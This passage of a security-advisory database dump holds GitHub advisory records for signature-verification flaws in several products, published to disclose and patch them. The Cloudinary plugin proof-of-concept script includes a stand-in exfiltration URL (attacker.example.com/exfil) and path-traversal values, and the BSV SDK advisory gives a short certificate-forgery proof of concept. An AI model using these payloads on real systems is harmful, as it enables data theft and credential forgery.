\"user-upload\"},\n ),\n (\n \"CASE-2: Attacker-controlled folder + overwrite=true\",\n {\n \"timestamp\": ts,\n \"folder\": \"attacker-controlled\",\n \"public_id\": \"overwrite-target\",\n \"overwrite\": \"true\",\n },\n ),\n (\n \"CASE-3: type=private \u2014 changes upload visibility\",\n {\n \"timestamp\": ts,\n \"type\": \"private\",\n \"public_id\": \"admin-document\",\n },\n ),\n (\n \"CASE-4: notification_url \u2014 potential SSRF / data exfiltration\",\n {\n \"timestamp\": ts,\n \"folder\": \"media\",\n \"notification_url\": \"http://attacker.example.com/exfil\",\n },\n ),\n (\n \"CASE-5: folder path traversal + invalidate=true\",\n {\n \"timestamp\": ts,\n \"folder\": \"../../../../admin-assets\",\n \"public_id\": \"../../../sensitive\",\n \"invalidate\": \"true\",\n },\n ),\n ]\n\n results = []\n for label, params in cases:\n results.append(run_case(server, label, params))\n\n passed = sum(results)\n total = len(results)\n\n print(\"\\n\" + \"=\" * 70)\n print(f\"Results : {passed}/{total} cases confirmed\")\n\n # Cases 1-5 all passing means the vulnerability is proven:\n # the endpoint signs ANY paramsToSign regardless of content.\n if all(results):\n print(f\"\\n{GREEN}VERDICT: PASS \u2014 VULN-002 CONFIRMED{RESET}\")\n print(\n \"All 5 attack scenarios returned HTTP 200 with a mathematically valid\"\n \" Cloudinary HMAC-SHA1 signature.\"\n )\n print(\n \"The plugin endpoint signs arbitrary upload parameters without any\"\n \" allowlist, folder enforcement, or overwrite/type restriction.\"\n )\n print(\n \"Impact: any authenticated Payload user can mint valid Cloudinary\"\n \" signatures for arbitrary parameters, enabling asset replacement,\"\n \" privacy changes, and potential SSRF via notification_url.\"\n )\n sys.exit(0)\n elif results[0]:\n failed = [cases[i][0] for i, r in enumerate(results) if not r]\n print(f\"\\n{YELLOW}VERDICT: PARTIAL \u2014 baseline succeeded but some cases failed{RESET}\")\n print(f\"Failed cases: {failed}\")\n sys.exit(2)\n else:\n print(f\"\\n{RED}VERDICT: FAIL \u2014 server not reachable or baseline request failed{RESET}\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-h5x8-xp6m-x6q4",
"modified": "2026-06-19T22:10:37Z",
"published": "2026-06-19T22:10:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-h5x8-xp6m-x6q4"
},
{
"type": "PACKAGE",
"url": "https://github.com/jhb-software/payload-plugins"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing"
}
GHSA-H623-Q49P-MG8Q
Vulnerability from github – Published: 2023-11-13 09:30 – Updated: 2023-11-13 09:30Bashis, a Security Researcher at IPVM has found a flaw that allows for a remote code execution during the installation of Wave on the camera device. The Wave server application in camera device was vulnerable to command injection allowing an attacker to run arbitrary code. HanwhaVision has released patched firmware for the highlighted flaw. Please refer to the hanwhavision security report for more information and solution."
{
"affected": [],
"aliases": [
"CVE-2023-5747"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-13T08:15:26Z",
"severity": "HIGH"
},
"details": "Bashis, a Security Researcher at IPVM has found a flaw that allows for a remote code execution during the installation of Wave on the camera device. The Wave server application in camera device was vulnerable to command injection allowing an attacker to run arbitrary code. HanwhaVision has released patched firmware for the highlighted flaw. Please refer to the hanwhavision security report for more information and solution.\"",
"id": "GHSA-h623-q49p-mg8q",
"modified": "2023-11-13T09:30:25Z",
"published": "2023-11-13T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5747"
},
{
"type": "WEB",
"url": "https://www.hanwhavision.com/wp-content/uploads/2023/11/Camera-Vulnerability-Report-CVE-2023-5747_20231113.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H75R-32PP-3C7J
Vulnerability from github – Published: 2022-05-14 01:39 – Updated: 2022-05-14 01:39The mirror:// method implementation in Advanced Package Tool (APT) 1.6.x before 1.6.4 and 1.7.x before 1.7.0~alpha3 mishandles gpg signature verification for the InRelease file of a fallback mirror, aka mirrorfail.
{
"affected": [],
"aliases": [
"CVE-2018-0501"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-21T00:29:00Z",
"severity": "MODERATE"
},
"details": "The mirror:// method implementation in Advanced Package Tool (APT) 1.6.x before 1.6.4 and 1.7.x before 1.7.0~alpha3 mishandles gpg signature verification for the InRelease file of a fallback mirror, aka mirrorfail.",
"id": "GHSA-h75r-32pp-3c7j",
"modified": "2022-05-14T01:39:57Z",
"published": "2022-05-14T01:39:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0501"
},
{
"type": "WEB",
"url": "https://mirror.fail"
},
{
"type": "WEB",
"url": "https://salsa.debian.org/apt-team/apt/commit/29658a3a74af49e2a24e17bdebb20e1612aac3ec"
},
{
"type": "WEB",
"url": "https://salsa.debian.org/apt-team/apt/commit/aebd4278bacc728ab00ebe31556983e140f60e47"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3746-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H7PC-VWP9-298G
Vulnerability from github – Published: 2026-06-03 15:30 – Updated: 2026-08-07 20:04An issue was discovered in Django 6.0 before 6.0.6 and 5.2 before 5.2.15.
django.http.HttpRequest.get_signed_cookie in Django uses a non-injective salt derivation (concatenating the cookie name and salt argument), which allows a remote attacker to use a cookie in a context different from the one where it was signed, via distinct (name, salt) pairs that produce the same concatenation.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Peng Zhou for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "django"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.2.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "django"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6873"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T20:04:27Z",
"nvd_published_at": "2026-06-03T14:16:46Z",
"severity": "LOW"
},
"details": "An issue was discovered in Django 6.0 before 6.0.6 and 5.2 before 5.2.15.\n`django.http.HttpRequest.get_signed_cookie` in Django uses a non-injective salt derivation (concatenating the cookie name and salt argument), which allows a remote attacker to use a cookie in a context different from the one where it was signed, via distinct `(name, salt)` pairs that produce the same concatenation.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\nDjango would like to thank Peng Zhou for reporting this issue.",
"id": "GHSA-h7pc-vwp9-298g",
"modified": "2026-08-07T20:04:27Z",
"published": "2026-06-03T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6873"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/594360cbf58be7f56eb6da96d58644297c99ef85"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/70d36515b9cc71700105a14b275583070d48b689"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/c807d9c398022d23cb27518fa6ecaf343efb30cf"
},
{
"type": "WEB",
"url": "https://docs.djangoproject.com/en/dev/releases/security"
},
{
"type": "PACKAGE",
"url": "https://github.com/django/django"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2026-199.yaml"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/django-announce"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2026/jun/03/security-releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Django: signed cookies are vulnerable to salt namespace collisions"
}
GHSA-H7W8-VG64-36F2
Vulnerability from github – Published: 2026-07-23 09:32 – Updated: 2026-07-23 09:32The issue is a DNSSEC validation bypass where wildcard expansion proofs (NSEC/NSEC3 records) are accepted without signature validation when the wildcard answer is a CNAME or DNAME record.
{
"affected": [],
"aliases": [
"CVE-2026-52686"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T09:16:26Z",
"severity": "LOW"
},
"details": "The issue is a DNSSEC validation bypass where wildcard expansion proofs (NSEC/NSEC3 records) are accepted without signature validation when the wildcard answer is a CNAME or DNAME record.",
"id": "GHSA-h7w8-vg64-36f2",
"modified": "2026-07-23T09:32:01Z",
"published": "2026-07-23T09:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52686"
},
{
"type": "WEB",
"url": "https://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-powerdns-2026-10.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H7X8-97PC-7QRV
Vulnerability from github – Published: 2023-10-23 15:30 – Updated: 2024-04-04 08:53An Improper Verification of Cryptographic Signature vulnerability in Zscaler Client Connector on Linux allows replacing binaries.This issue affects Linux Client Connector: before 1.4.0.105
{
"affected": [],
"aliases": [
"CVE-2023-28804"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-23T14:15:09Z",
"severity": "MODERATE"
},
"details": "An Improper Verification of Cryptographic Signature vulnerability in Zscaler Client Connector on Linux allows replacing binaries.This issue affects Linux Client Connector: before 1.4.0.105",
"id": "GHSA-h7x8-97pc-7qrv",
"modified": "2024-04-04T08:53:12Z",
"published": "2023-10-23T15:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28804"
},
{
"type": "WEB",
"url": "https://help.zscaler.com/client-connector/client-connector-app-release-summary-2023"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H829-5CG7-6HFF
Vulnerability from github – Published: 2026-04-24 20:42 – Updated: 2026-04-24 20:42gitverify is still a prototype.
Impact
The bug is related to requireSignedTags which is on by default: an unsigned annotated tag would pass the verification. The commit pointed to by the tag would still have to be signed by a maintainer or a contributor.
Patches
Since the initial commit, fixed in c2c60da05d5c73621d0ce7ea02770bacd79ec8b1 (no semantic versions yet).
Workarounds
No
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/supply-chain-tools/gitverify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260421124901-c2c60da05d5c"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T20:42:22Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "gitverify is still a prototype.\n\n### Impact\nThe bug is related to `requireSignedTags` which is on by default: an unsigned annotated tag would pass the verification. The commit pointed to by the tag would still have to be signed by a maintainer or a contributor.\n\n### Patches\nSince the initial commit, fixed in c2c60da05d5c73621d0ce7ea02770bacd79ec8b1 (no semantic versions yet).\n\n### Workarounds\nNo",
"id": "GHSA-h829-5cg7-6hff",
"modified": "2026-04-24T20:42:22Z",
"published": "2026-04-24T20:42:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/supply-chain-tools/gitverify/security/advisories/GHSA-h829-5cg7-6hff"
},
{
"type": "WEB",
"url": "https://github.com/supply-chain-tools/gitverify/commit/c2c60da05d5c73621d0ce7ea02770bacd79ec8b1"
},
{
"type": "PACKAGE",
"url": "https://github.com/supply-chain-tools/gitverify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gitverify has improper tag signature verification"
}
GHSA-H87Q-G2WP-47PJ
Vulnerability from github – Published: 2022-02-09 22:41 – Updated: 2022-02-15 01:51In the jsrsasign package through 10.1.13 for Node.js, some invalid RSA PKCS#1 v1.5 signatures are mistakenly recognized to be valid. NOTE: there is no known practical attack.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jsrsasign"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-08T20:09:58Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "In the jsrsasign package through 10.1.13 for Node.js, some invalid RSA PKCS#1 v1.5 signatures are mistakenly recognized to be valid. NOTE: there is no known practical attack.",
"id": "GHSA-h87q-g2wp-47pj",
"modified": "2022-02-15T01:51:57Z",
"published": "2022-02-09T22:41:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30246"
},
{
"type": "WEB",
"url": "https://github.com/kjur/jsrsasign/issues/478"
},
{
"type": "WEB",
"url": "https://github.com/kjur/jsrsasign/releases/tag/10.1.13"
},
{
"type": "WEB",
"url": "https://github.com/kjur/jsrsasign/releases/tag/10.2.0"
},
{
"type": "WEB",
"url": "https://kjur.github.io/jsrsasign"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Signatures are mistakenly recognized to be valid in jsrsasign"
}
GHSA-HC36-C89J-5F4J
Vulnerability from github – Published: 2026-04-09 20:28 – Updated: 2026-05-13 16:21Unverified certifier signatures persisted by acquire_certificate
Affected packages
Both bsv-sdk and bsv-wallet are published from the sgbett/bsv-ruby-sdk repository. The vulnerable code lives in lib/bsv/wallet_interface/wallet_client.rb, which is physically shipped inside both gems (the bsv-wallet.gemspec files list bundles the entire lib/bsv/wallet_interface/ tree). Consumers of either gem are independently vulnerable; the two packages are versioned separately, so each has its own affected range.
| Package | Affected | Patched |
|---|---|---|
bsv-sdk |
>= 0.3.1, < 0.8.2 |
0.8.2 |
bsv-wallet |
>= 0.1.2, < 0.3.4 |
0.3.4 |
Summary
BSV::Wallet::WalletClient#acquire_certificate persists certificate records to storage without verifying the certifier's signature over the certificate contents. Both acquisition paths are affected:
acquisition_protocol: 'direct'— the caller supplies all certificate fields (includingsignature:) and the record is written to storage verbatim.acquisition_protocol: 'issuance'— the client POSTs to a certifier URL and writes whatever signature the response body contains, also without verification.
An attacker who can reach either API (or who controls a certifier endpoint targeted by the issuance path) can forge identity certificates that subsequently appear authentic to list_certificates and prove_certificate.
Details
BRC-52 requires a certificate's signature field to be verified against the claimed certifier's public key over a canonical hashing of (type, subject, serialNumber, revocationOutpoint, fields) before the certificate is trusted. The reference TypeScript SDK enforces this in Certificate.verify().
Direct path
The Ruby implementation's acquire_via_direct path (lib/bsv/wallet_interface/wallet_client.rb) constructs the certificate record directly from caller-supplied fields:
def acquire_via_direct(args)
{
type: args[:type],
subject: @key_deriver.identity_key,
serial_number: args[:serial_number],
certifier: args[:certifier],
revocation_outpoint: args[:revocation_outpoint],
signature: args[:signature],
fields: args[:fields],
keyring: args[:keyring_for_subject]
}
end
The returned record is then written to the storage adapter by acquire_certificate. No verification of args[:signature] against args[:certifier]'s public key occurs at any point in this path.
Issuance path
acquire_via_issuance POSTs to a certifier-supplied URL and parses the response body into a certificate record, which is then written to storage without verifying the returned signature. A hostile or compromised certifier endpoint — or anyone able to redirect/MITM the plain HTTP request — can therefore return an arbitrary signature value for any subject and have it stored as authentic. This is the same class of bypass as the direct path; it was tracked separately as finding F8.16 in the compliance review and is closed by the same fix.
Downstream impact
Downstream reads via list_certificates and selective-disclosure via prove_certificate treat stored records as valid without re-verifying, so any forgery that slips past acquire_certificate is trusted permanently.
Impact
Any caller that can invoke acquire_certificate — via either acquisition protocol — can forge a certificate attributed to an arbitrary certifier identity key, containing arbitrary fields, and have it persisted as authentic. Applications and downstream gems that rely on the wallet's certificate store as a source of truth for identity attributes (e.g. KYC assertions, role claims, attestations) are subject to credential forgery.
This is a credential-forgery primitive, not merely a spec divergence from BRC-52.
CVSS rationale
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N → 8.1 (High)
- AV:N — network-reachable in any wallet context that exposes
acquire_certificateto callers. - AC:L — low attack complexity: pass arbitrary bytes as
signature:. - PR:L — low privileges: any caller authorised to invoke
acquire_certificate. - UI:N — no user interaction required.
- C:H — forged credentials via
prove_certificatecan assert attributes about the subject. - I:H — the wallet's credential store is polluted with attacker-controlled data.
- A:N — availability unaffected.
Proof of concept
client = BSV::Wallet::WalletClient.new(key, storage: BSV::Wallet::MemoryStore.new)
client.acquire_certificate(
type: 'age-over-18',
acquisition_protocol: 'direct',
certifier: claimed_trusted_pubkey_hex,
serial_number: 'any-serial',
revocation_outpoint: ('00' * 32) + '.0',
signature: 'deadbeef' * 16, # arbitrary bytes — never verified
fields: { 'verified' => 'true' },
keyring_for_subject: {}
)
client.list_certificates(
certifiers: [claimed_trusted_pubkey_hex],
types: ['age-over-18']
)
# => returns the forged record as if it were a real certificate from that certifier
Affected versions
The vulnerable direct-path code was introduced in commit d14dd19 ("feat(wallet): implement BRC-100 identity certificate methods (Phase 5)") on 2026-03-27 20:35 UTC. The vulnerable issuance-path code was added one day later in 6a4d898 ("feat(wallet): implement certificate issuance protocol", 2026-03-28 04:38 UTC), which removed an earlier raise UnsupportedActionError and replaced it with an unverified HTTP POST.
bsv-sdk: the v0.3.1 chore bump (89de3a2) was committed 28 minutes after d14dd19, so the direct-path bypass shipped in the v0.3.1 tag. The v0.3.1 release raised UnsupportedActionError for the issuance path, so the issuance-path bypass first shipped in v0.3.2 (5a335de). Every subsequent release up to and including v0.8.1 is affected by at least one path, and every release from v0.3.2 onwards is affected by both. Combined affected range: >= 0.3.1, < 0.8.2.
bsv-wallet: at the time both commits landed, the wallet gem was at version 0.1.1. The first wallet release containing any of the vulnerable code was v0.1.2 (5a335de, 2026-03-30), which shipped both paths simultaneously. Every subsequent release up to and including v0.3.3 is affected on both paths. Affected range: >= 0.1.2, < 0.3.4.
Patches
Upgrade to bsv-sdk >= 0.8.2 and/or bsv-wallet >= 0.3.4. Both releases ship the same fix: a new module BSV::Wallet::CertificateSignature (lib/bsv/wallet_interface/certificate_signature.rb), which builds the BRC-52 canonical preimage (type, serial_number, subject, certifier, revocation_outpoint, lexicographically-sorted fields) and verifies the certifier's signature against it via ProtoWallet#verify_signature with protocol ID [2, 'certificate signature'] and counterparty = the claimed certifier's public key. Both acquire_via_direct and acquire_via_issuance now call CertificateSignature.verify! before returning the certificate to acquire_certificate, so invalid certificates raise BSV::Wallet::CertificateSignature::InvalidError (a subclass of InvalidSignatureError) and are never written to storage.
Consumers should upgrade whichever gem they depend on directly; they do not need both. bsv-wallet 0.3.4 additionally tightens its dependency on bsv-sdk from the stale ~> 0.4 to >= 0.8.2, < 1.0, which forces the known-good pairing and pulls in the sibling advisory fixes (F1.3, F5.13) tracked separately.
The issuance-path fix also partially closes finding F8.16 from the same compliance review. F8.16's second aspect — switching the issuance transport from ad-hoc JSON POST to BRC-104 AuthFetch — is not addressed here and remains deferred to a future release.
Fixed in sgbett/bsv-ruby-sdk#306.
Workarounds
If upgrading is not immediately possible:
- Do not expose
acquire_certificate(either acquisition protocol) to untrusted callers. - Do not invoke
acquire_certificatewithacquisition_protocol: 'issuance'against a certifier URL you do not fully trust, and require TLS for any such request. - Treat any record returned by
list_certificates/prove_certificateas unverified and perform an out-of-band BRC-52 verification against the certifier's public key before acting on it.
Credit
Identified during the 2026-04-08 cross-SDK compliance review, tracked as findings F8.15 (direct path) and F8.16 (issuance path, partial).
References
- HLR: sgbett/bsv-ruby-sdk#305
- Fix PR: sgbett/bsv-ruby-sdk#306
- Compliance review:
.architecture/reviews/20260408-cross-sdk-compliance-review.md - BRC-52 specification: https://brc.dev/52
- TypeScript reference:
Certificate.verify()in@bsv/sdk
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "bsv-sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.1"
},
{
"fixed": "0.8.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "bsv-wallet"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.2"
},
{
"fixed": "0.3.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40070"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-09T20:28:10Z",
"nvd_published_at": "2026-04-09T18:17:03Z",
"severity": "HIGH"
},
"details": "# Unverified certifier signatures persisted by `acquire_certificate`\n\n## Affected packages\n\nBoth `bsv-sdk` and `bsv-wallet` are published from the [sgbett/bsv-ruby-sdk](https://github.com/sgbett/bsv-ruby-sdk) repository. The vulnerable code lives in `lib/bsv/wallet_interface/wallet_client.rb`, which is **physically shipped inside both gems** (the `bsv-wallet.gemspec` `files` list bundles the entire `lib/bsv/wallet_interface/` tree). Consumers of either gem are independently vulnerable; the two packages are versioned separately, so each has its own affected range.\n\n| Package | Affected | Patched |\n| --- | --- | --- |\n| `bsv-sdk` | `\u003e= 0.3.1, \u003c 0.8.2` | `0.8.2` |\n| `bsv-wallet` | `\u003e= 0.1.2, \u003c 0.3.4` | `0.3.4` |\n\n## Summary\n\n`BSV::Wallet::WalletClient#acquire_certificate` persists certificate records to storage **without verifying the certifier\u0027s signature** over the certificate contents. Both acquisition paths are affected:\n\n- `acquisition_protocol: \u0027direct\u0027` \u2014 the caller supplies all certificate fields (including `signature:`) and the record is written to storage verbatim.\n- `acquisition_protocol: \u0027issuance\u0027` \u2014 the client POSTs to a certifier URL and writes whatever signature the response body contains, also without verification.\n\nAn attacker who can reach either API (or who controls a certifier endpoint targeted by the issuance path) can forge identity certificates that subsequently appear authentic to `list_certificates` and `prove_certificate`.\n\n## Details\n\nBRC-52 requires a certificate\u0027s `signature` field to be verified against the claimed certifier\u0027s public key over a canonical hashing of `(type, subject, serialNumber, revocationOutpoint, fields)` before the certificate is trusted. The reference TypeScript SDK enforces this in `Certificate.verify()`.\n\n### Direct path\n\nThe Ruby implementation\u0027s `acquire_via_direct` path (`lib/bsv/wallet_interface/wallet_client.rb`) constructs the certificate record directly from caller-supplied fields:\n\n```ruby\ndef acquire_via_direct(args)\n {\n type: args[:type],\n subject: @key_deriver.identity_key,\n serial_number: args[:serial_number],\n certifier: args[:certifier],\n revocation_outpoint: args[:revocation_outpoint],\n signature: args[:signature],\n fields: args[:fields],\n keyring: args[:keyring_for_subject]\n }\nend\n```\n\nThe returned record is then written to the storage adapter by `acquire_certificate`. No verification of `args[:signature]` against `args[:certifier]`\u0027s public key occurs at any point in this path.\n\n### Issuance path\n\n`acquire_via_issuance` POSTs to a certifier-supplied URL and parses the response body into a certificate record, which is then written to storage without verifying the returned signature. A hostile or compromised certifier endpoint \u2014 or anyone able to redirect/MITM the plain HTTP request \u2014 can therefore return an arbitrary `signature` value for any subject and have it stored as authentic. This is the same class of bypass as the direct path; it was tracked separately as finding **F8.16** in the compliance review and is closed by the same fix.\n\n### Downstream impact\n\nDownstream reads via `list_certificates` and selective-disclosure via `prove_certificate` treat stored records as valid without re-verifying, so any forgery that slips past `acquire_certificate` is trusted permanently.\n\n## Impact\n\nAny caller that can invoke `acquire_certificate` \u2014 via either acquisition protocol \u2014 can forge a certificate attributed to an arbitrary certifier identity key, containing arbitrary fields, and have it persisted as authentic. Applications and downstream gems that rely on the wallet\u0027s certificate store as a source of truth for identity attributes (e.g. KYC assertions, role claims, attestations) are subject to credential forgery.\n\nThis is a credential-forgery primitive, not merely a spec divergence from BRC-52.\n\n## CVSS rationale\n\n`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` \u2192 **8.1 (High)**\n\n- **AV:N** \u2014 network-reachable in any wallet context that exposes `acquire_certificate` to callers.\n- **AC:L** \u2014 low attack complexity: pass arbitrary bytes as `signature:`.\n- **PR:L** \u2014 low privileges: any caller authorised to invoke `acquire_certificate`.\n- **UI:N** \u2014 no user interaction required.\n- **C:H** \u2014 forged credentials via `prove_certificate` can assert attributes about the subject.\n- **I:H** \u2014 the wallet\u0027s credential store is polluted with attacker-controlled data.\n- **A:N** \u2014 availability unaffected.\n\n## Proof of concept\n\n```ruby\nclient = BSV::Wallet::WalletClient.new(key, storage: BSV::Wallet::MemoryStore.new)\n\nclient.acquire_certificate(\n type: \u0027age-over-18\u0027,\n acquisition_protocol: \u0027direct\u0027,\n certifier: claimed_trusted_pubkey_hex,\n serial_number: \u0027any-serial\u0027,\n revocation_outpoint: (\u002700\u0027 * 32) + \u0027.0\u0027,\n signature: \u0027deadbeef\u0027 * 16, # arbitrary bytes \u2014 never verified\n fields: { \u0027verified\u0027 =\u003e \u0027true\u0027 },\n keyring_for_subject: {}\n)\n\nclient.list_certificates(\n certifiers: [claimed_trusted_pubkey_hex],\n types: [\u0027age-over-18\u0027]\n)\n# =\u003e returns the forged record as if it were a real certificate from that certifier\n```\n\n## Affected versions\n\nThe vulnerable direct-path code was introduced in commit `d14dd19` (\"feat(wallet): implement BRC-100 identity certificate methods (Phase 5)\") on 2026-03-27 20:35 UTC. The vulnerable issuance-path code was added one day later in `6a4d898` (\"feat(wallet): implement certificate issuance protocol\", 2026-03-28 04:38 UTC), which removed an earlier `raise UnsupportedActionError` and replaced it with an unverified HTTP POST.\n\n**`bsv-sdk`:** the v0.3.1 chore bump (`89de3a2`) was committed 28 minutes after `d14dd19`, so the direct-path bypass shipped in the **v0.3.1** tag. The v0.3.1 release raised `UnsupportedActionError` for the issuance path, so the issuance-path bypass first shipped in **v0.3.2** (`5a335de`). Every subsequent release up to and including **v0.8.1** is affected by at least one path, and every release from v0.3.2 onwards is affected by both. Combined affected range: `\u003e= 0.3.1, \u003c 0.8.2`.\n\n**`bsv-wallet`:** at the time both commits landed, the wallet gem was at version 0.1.1. The first wallet release containing any of the vulnerable code was **v0.1.2** (`5a335de`, 2026-03-30), which shipped both paths simultaneously. Every subsequent release up to and including **v0.3.3** is affected on both paths. Affected range: `\u003e= 0.1.2, \u003c 0.3.4`.\n\n## Patches\n\nUpgrade to `bsv-sdk \u003e= 0.8.2` **and/or** `bsv-wallet \u003e= 0.3.4`. Both releases ship the same fix: a new module `BSV::Wallet::CertificateSignature` (`lib/bsv/wallet_interface/certificate_signature.rb`), which builds the BRC-52 canonical preimage (`type`, `serial_number`, `subject`, `certifier`, `revocation_outpoint`, lexicographically-sorted `fields`) and verifies the certifier\u0027s signature against it via `ProtoWallet#verify_signature` with protocol ID `[2, \u0027certificate signature\u0027]` and counterparty = the claimed certifier\u0027s public key. Both `acquire_via_direct` and `acquire_via_issuance` now call `CertificateSignature.verify!` before returning the certificate to `acquire_certificate`, so invalid certificates raise `BSV::Wallet::CertificateSignature::InvalidError` (a subclass of `InvalidSignatureError`) and are never written to storage.\n\nConsumers should upgrade whichever gem they depend on directly; they do not need both. `bsv-wallet 0.3.4` additionally tightens its dependency on `bsv-sdk` from the stale `~\u003e 0.4` to `\u003e= 0.8.2, \u003c 1.0`, which forces the known-good pairing and pulls in the sibling advisory fixes (F1.3, F5.13) tracked separately.\n\nThe issuance-path fix also partially closes finding **F8.16** from the same compliance review. F8.16\u0027s second aspect \u2014 switching the issuance transport from ad-hoc JSON POST to BRC-104 AuthFetch \u2014 is not addressed here and remains deferred to a future release.\n\nFixed in sgbett/bsv-ruby-sdk#306.\n\n## Workarounds\n\nIf upgrading is not immediately possible:\n\n- Do not expose `acquire_certificate` (either acquisition protocol) to untrusted callers.\n- Do not invoke `acquire_certificate` with `acquisition_protocol: \u0027issuance\u0027` against a certifier URL you do not fully trust, and require TLS for any such request.\n- Treat any record returned by `list_certificates` / `prove_certificate` as unverified and perform an out-of-band BRC-52 verification against the certifier\u0027s public key before acting on it.\n\n## Credit\n\nIdentified during the 2026-04-08 cross-SDK compliance review, tracked as findings F8.15 (direct path) and F8.16 (issuance path, partial).\n\n## References\n\n- HLR: sgbett/bsv-ruby-sdk#305\n- Fix PR: sgbett/bsv-ruby-sdk#306\n- Compliance review: [`.architecture/reviews/20260408-cross-sdk-compliance-review.md`](../../.architecture/reviews/20260408-cross-sdk-compliance-review.md)\n- BRC-52 specification: https://brc.dev/52\n- TypeScript reference: `Certificate.verify()` in `@bsv/sdk`",
"id": "GHSA-hc36-c89j-5f4j",
"modified": "2026-05-13T16:21:47Z",
"published": "2026-04-09T20:28:10Z",
"references": [
{
